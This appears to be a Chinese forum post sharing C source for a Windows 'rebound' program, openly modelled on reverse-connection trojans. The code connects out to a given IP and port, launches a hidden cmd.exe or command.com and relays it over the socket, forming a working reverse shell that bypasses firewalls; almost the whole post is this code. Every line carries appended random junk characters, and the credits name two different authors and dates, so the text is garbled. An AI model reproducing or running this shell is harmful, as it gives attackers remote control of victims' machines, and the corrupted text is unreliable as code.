这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y$%z]i5
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/* ============================== bAsoIra
Rebound port in Windows NT 4zRz U
By wind,2006/7 %ZajM
===============================*/ {-T}"WHg7
#include C`Oc%~UkC
#include ds*N1[
*
R.FC3<TTv
#pragma comment(lib,"wsock32.lib") }KBz8M5
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void OutputShell(); jOYa}jm?
SOCKET sClient; ^Pq4 n%x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @]r l2Qqe
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void main(int argc,char **argv) d=q&%gqN
{ \x,q(npHi
WSADATA stWsaData; {c;][>l
int nRet; r?w^#V
SOCKADDR_IN stSaiClient,stSaiServer; i1OF@~?
E=-ed9({:
if(argc != 3) KXQ &u{[<
{ * 7<{Xbsj^
printf("Useage:\n\rRebound DestIP DestPort\n"); su/!<y
return; eYN=?
} /*zngp@
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WSAStartup(MAKEWORD(2,2),&stWsaData); X4c|*U=4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _5nS!CN
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stSaiClient.sin_family = AF_INET; ?nLlZpZ2v
stSaiClient.sin_port = htons(0); LR:v$3 G(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a+U^mPe
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V+A9.KoI
{ G` _LD+
printf("Bind Socket Failed!\n"); nD8 Qeem@
return; iB]xYfQ&@V
} 9ff6Apill
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stSaiServer.sin_family = AF_INET; pn:) Rq0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X{ZcJ8K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z8 X=Md8=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z^ai *
{ eWgqds
printf("Connect Error!"); GQ@`qYLZ+
return; j.?c~Fh
} b-d{)-G{(
OutputShell(); = 02$Dwr
} |2$wJ$I
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void OutputShell() r~q(m>Ct6
{ 0bR)]"K
char szBuff[1024]; <Va7XX%>
SECURITY_ATTRIBUTES stSecurityAttributes; fI_I0dc.p
OSVERSIONINFO stOsversionInfo; z frEM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Z nVWER
STARTUPINFO stStartupInfo; L[|($vQ"
char *szShell; /#lqv)s'
PROCESS_INFORMATION stProcessInformation; !iys\ AV
unsigned long lBytesRead; r@O5{V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DFk0"+Ky
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ho'Ihep,L
stSecurityAttributes.lpSecurityDescriptor = 0; z154lY}K
stSecurityAttributes.bInheritHandle = TRUE; u{6b>c|,X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^5MPK@)c,/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !a.|URa7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (R9{wGV [
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l"{1v~I
stStartupInfo.wShowWindow = SW_HIDE; V!{}%;f
stStartupInfo.hStdInput = hReadPipe; fj7\MTy
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K+s@.D9J
SU,#:s(
GetVersionEx(&stOsversionInfo); ^n @dC?
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switch(stOsversionInfo.dwPlatformId) 1 +0-VRl
{ eTeZ^G
case 1: ef Moi 'v
szShell = "command.com"; nT;Rwz$3
break; **D3.-0u&
default: NMM$
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szShell = "cmd.exe"; UdiogXZ
break; 8JFns-5
} I1a>w=x!+
ma gZmY~
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [f1'Qb
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send(sClient,szMsg,77,0); Jp d|<\Ml
while(1) F3%8E<QZd;
{ -lb,0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5}+&Em":
if(lBytesRead) yMd<<:Ap
{ o#^(mGj_.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |+aUy^
send(sClient,szBuff,lBytesRead,0); KkIgyLM
} 6XFLWN-)
else 9i=HZ\s3
{ 6w"_sK?
lBytesRead=recv(sClient,szBuff,1024,0); Ue=Je~Ri;9
if(lBytesRead<=0) break; a7?)x])e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x @a3STKT
} J[k,S(Y
} G0izZWc
PX} ~
return; nB &[R
}